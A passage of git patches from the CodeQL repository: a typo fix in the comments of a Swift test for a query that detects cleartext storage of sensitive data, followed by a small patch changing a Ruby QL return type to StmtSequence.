Alert[swift/cleartext-storage-database] // BAD [NOT DETECTED] maybeObj?.myBankAccountNumber2 = bankAccountNo // $ Alert[swift/cleartext-storage-database] maybeObj?.notStoredBankAccountNumber = value // GOOD (not stored in the database) - maybeObj?.notStoredBankAccountNumber = bankAccountNo // $ SPURIOUS: Alert[swift/cleartext-storage-database] // GOOD (not stored in the datbase) [FALSE POSITIVE] + maybeObj?.notStoredBankAccountNumber = bankAccountNo // $ SPURIOUS: Alert[swift/cleartext-storage-database] // GOOD (not stored in the database) [FALSE POSITIVE] } class testCoreData2_2 { From 027f3029321805be88f8b4f370484e8881fbcba4 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Wed, 17 Jun 2026 08:47:14 +0200 Subject: [PATCH 143/143] Ruby: improve return type --- ruby/ql/lib/codeql/ruby/ast/Control.qll | 2 +- ruby/ql/lib/codeql/ruby/ast/internal/Control.qll | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/ruby/ql/lib/codeql/ruby/ast/Control.qll b/ruby/ql/lib/codeql/ruby/ast/Control.qll index cf7920968c8..ea54d355469 100644 --- a/ruby/ql/lib/codeql/ruby/ast/Control.qll +++ b/ruby/ql/lib/codeql/ruby/ast/Control.qll @@ -546,7 +546,7 @@ class CaseElseBranch extends AstNode instanceof CaseElseBranchImpl { final override string getAPrimaryQlClass() { result = "CaseElseBranch" } /** Gets the body of this else branch. */ - final Stmt getBody() { result = super.getBody() } + final StmtSequence getBody() { result = super.getBody() } final override string toString() { result = "else ..." } diff --git a/ruby/ql/lib/codeql/ruby/ast/internal/Control.qll b/ruby/ql/lib/codeql/ruby/ast/internal/Control.qll index 095fb85de6f..00076ba996a 100644 --- a/ruby/ql/lib/codeql/ruby/ast/internal/Control.qll +++ b/ruby/ql/lib/codeql/ruby/ast/internal/Control.qll @@ -95,5 +95,5 @@ class InClauseSynth extends InClauseImpl, TInClauseSynth { class CaseElseBranchImpl extends AstNode, TCaseElseBranch { CaseElseBranchImpl() { this = TCaseElseBranchSynth(_, _) } - final Stmt getBody() { synthChild(this, 0, result) } + final StmtSequence getBody() { synthChild(this, 0, result) } }